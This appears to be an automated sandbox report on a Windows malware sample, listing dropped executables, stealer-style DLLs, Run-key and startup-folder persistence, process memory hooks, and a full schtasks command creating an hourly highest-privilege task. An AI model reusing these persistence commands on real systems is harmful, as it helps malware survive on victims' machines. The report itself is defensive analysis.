Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe.2f50000.0.raw.unpack, Hg0i8ysWBkmOQpOTDa.cs	High entropy of concatenated method names: 'BBiryfpB2', 'KI0GlCWQr', 'nZK2JcQAs', 'lkTeKjlkc', 'RYq1Z9XkI', 'XOTf7va1f', 'Dispose', 'YAroKCCXX', 'acfjChBBkMo7PdIk7G', 'MFS1TWc0IT345kpNHi'
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe.2f50000.0.raw.unpack, Ca01BQGh9DxiBOJwup.cs	High entropy of concatenated method names: 'Qr5ud0NzY98AOC9xd95', 'G0Y0Wrh2oh1RhmJKSXb', 'X83AawNIkZucWFsrjDy', 'uZXqgXNDChJaWlp6NOY', 'ce4DmfsmSrOT856tDgfrkMb', 'qNiCQfbwXf', 'TgalQGhh96LsT9w8Qmj', 'Fw7QQNh18VntnfmGixE', 'ILFoXIhoc2Bm12rmWG4', 'AZNUskhyETNOaYTT1jk'

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	File created: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exegmoZLMPgmA7iERod (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe	File created: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	File created: C:\Users\user\AppData\Local\Nikko Video Compressor\uninstall\unins000.exe (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\66ed9885d9aee_Day2[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\VkcBn13x2kmdo9AMRXP8qT_4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	File created: C:\Users\user\AppData\Local\Nikko Video Compressor\is-QPPD9.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\g2v2mVtOHdxh9ZgrtYde5yf0.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\vsfdhgg15[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	File created: C:\Users\user\AppData\Local\Temp\is-9PSDC.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	File created: C:\Users\user\AppData\Local\Nikko Video Compressor\msvcr71.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\66ebb3bf78bd6_Send[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\66e705d09b33c_jack[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	File created: C:\Users\user\AppData\Local\Nikko Video Compressor\is-I7KQ2.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	File created: C:\Users\user\AppData\Local\Temp\is-9PSDC.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	File created: C:\Users\user\AppData\Local\Nikko Video Compressor\libeay32.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	File created: C:\Users\user\AppData\Local\Nikko Video Compressor\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\noode[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\66ee79315857f_setup33333[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	File created: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exegmoZLMPgmA7iERod (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	File created: C:\Users\user\AppData\Local\Nikko Video Compressor\is-213O2.tmp	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	File created: C:\Users\user\AppData\Local\Temp\MvOwPcqDrYVlvFIqJren.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	File created: C:\Users\user\AppData\Local\Nikko Video Compressor\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	File created: C:\Users\user\AppData\Local\Nikko Video Compressor\libssl-1_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	File created: C:\Users\user\AppData\Local\Temp\is-9PSDC.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\sdhsfd[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\66ecb454d2b4a_lgfdsjgds[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	File created: C:\Users\user\AppData\Local\Temp\PowerExpertNNT\PowerExpertNNT.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\easyfirewall[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	File created: C:\Users\user\Pictures\DreamifyCorp\ClientSecureUpdater.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\iXbjjIcri3rG3XH6GK7dHSLO.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\wg6F73wLMGz6xXFA14w_olCU.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\66eea6336b153_app16540406983468141987[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userAEBAKJDGHI.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\hd4YBtMwCrxG4M3aLLza89vv.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\66ea645129e6a_jacobs[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	File created: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userHJDBAFIECG.exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	File created: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	File created: C:\Users\user\AppData\Local\Nikko Video Compressor\is-5R4JI.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\vfsdgdf[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	File created: C:\Users\user\AppData\Local\Nikko Video Compressor\uninstall\is-RB7TG.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\66edb89bc4073_crypted[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\kFXFCWzZNovbPAcE4V3M4DAO.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	File created: C:\Users\user\AppData\Local\Nikko Video Compressor\nikkovideocompressor32.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\1[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	File created: C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\lgsfdam[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	File created: C:\ProgramData\jewkkwnf\jewkkwnf.exe6Wob1mDxY9zsd70j (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\EGCBAFCFIJ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	File created: C:\Users\user\AppData\Local\Nikko Video Compressor\msvcp71.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\5Hyf8PuolQS_j4ZkhvHWpkWr.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\1IvCzYfqoD3SHvKt45m1rbHu.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	File created: C:\Users\user\AppData\Local\Nikko Video Compressor\is-BEGLA.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-AABRP.tmp\VkcBn13x2kmdo9AMRXP8qT_4.tmp	File created: C:\Users\user\AppData\Local\Nikko Video Compressor\is-TS51E.tmp	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	File created: C:\ProgramData\jewkkwnf\jewkkwnf.exe6Wob1mDxY9zsd70j (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\EGCBAFCFIJ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	File created: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	File created: C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Dell			Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ExtreamFanV6

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf HR" /sc HOURLY /rl HIGHEST

Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk

Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk

Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Dell	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\kJHbagG0C4H5BEyYJQeInLfF.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Dell	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ExtreamFanV6
Source: C:\Users\user\Documents\iofolko5\XO9lsdL5g6aUibu31TDcoBrI.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ExtreamFanV6

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	Memory written: PID: 6060 base: 7FF9082F0008 value: E9 EB D9 E9 FF
Source: C:\Users\user\Documents\iofolko5\_U2YDEzm5f5t9soM_Qc1Hc4U.exe	Memory written: PID: 6060 base: 7FF90818D9F0 value: E9 20 26 16 00

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Yt_9y5LuIpBZXKd9EiYluKkG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\aFBKY19rLrQU72E14du4WCPo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
